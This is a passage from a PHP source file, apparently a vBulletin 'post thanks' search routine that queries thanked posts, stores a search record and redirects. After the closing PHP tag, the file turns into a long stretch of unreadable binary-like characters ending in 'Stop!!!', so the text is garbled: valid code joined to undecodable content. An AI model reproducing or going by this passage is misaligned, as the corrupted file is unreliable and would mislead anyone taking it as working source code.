hread.threadid = post.threadid) WHERE post.post_thanks_amount != 0 AND thread.forumid IN(" . implode(',', $forumids) . ") ORDER BY post.dateline DESC LIMIT " . ($vbulletin->options['maxresults'] * 2) . " "); while ($post = $db->fetch_array($posts)) { $orderedids[] = $post['postid']; } unset($post); $db->free_result($posts); // did we get some results? if (empty($orderedids)) { eval(standard_error(fetch_error('searchnoresults', $displayCommon), '', false)); } // set display terms $display = array( 'words' => array(), 'highlight' => array(), 'common' => array(), 'users' => array($user['userid'] => $user['username']), 'forums' => iif($showforums, $display['forums'], 0), 'options' => array( 'starteronly' => 0, 'childforums' => 1, 'action' => 'process' ) ); // end search timer $searchtime = number_format(fetch_microtime_difference($searchtime), 5, '.', ''); /*insert query*/ $db->query_write(" REPLACE INTO " . TABLE_PREFIX . "search (userid, ipaddress, personal, searchuser, forumchoice, sortby, sortorder, searchtime, showposts, orderedids, dateline, displayterms, searchhash) VALUES (" . $vbulletin->userinfo['userid'] . ", '" . $db->escape_string(IPADDRESS) . "', 1, '" . $db->escape_string($user['username']) . "', '" . $db->escape_string($forumchoice) . "', 'post.dateline', 'DESC', $searchtime, 1, '" . $db->escape_string(implode(',', $orderedids)) . "', " . TIMENOW . ", '" . $db->escape_string(serialize($display)) . "', '" . $db->escape_string($searchhash) . "') "); $searchid = $db->insert_id(); $vbulletin->url = 'search.php?' . $vbulletin->session->vars['sessionurl'] . "searchid=$searchid"; eval(print_standard_redirect('search')); } } ($hook = vBulletinHook::fetch_hook('post_thanks_main_end')) ? eval($hook) : false; ?>UUc,e1(TH^u ᭙4=/N,bf+ *(BKj{5meYaέX"@eC|'ڿI 챬hs3;t5YHi 5#+y7 Ϯx[^3D#QƪŬ‰K#ç=m:FfA]G¤ً/ΎU*sEY;Jsն3??LzKK^<5-2%%wJ:2Cz3K0n՞˯'')T}e( (ՑNN\d}-Õ}ŏ rz!\~5V-gNjY69{lW35 >&]o~tvzUr-W㞭f̯=Z_4ZZ$)AN:a wwdpvwRW|=_-#sBJQvOYtp_$H8gcd&']2T^z-luy}ȡ&|˵5[ 6> [aYS cjl+*amTc,1e1}x'^b^ri^k3_nE)<2?WE()gL0"njQ+ⰔDnhWy)J.ԸҾXK?=N Glu|,KJBqE6p/c9$/vfs!}ϯdӛҸXKtW[m+^mfkѹE#3gQeWQP1p`š+=SĄ%{hJieޣ05+15U!t#&*xoD0U݈~Kg=vGeo/_CGɐz}؞7sd-`~ַZ@խLPd)[ZUua Z=HBQ綄.]:RCUDB2iBKTC_m؋괺h<&pi߱{]f cS cjl{*amTqc,%-,ej4/3`[Ìtig^f]RV+ܟ5E(  x)Vߵg6WHٌxּs ۍN[/V+rc՗hwȓy񪴶mlz]i뙇un8!lVg˖edXߦ}zqn8m= ˳J_sfW@Stop!!!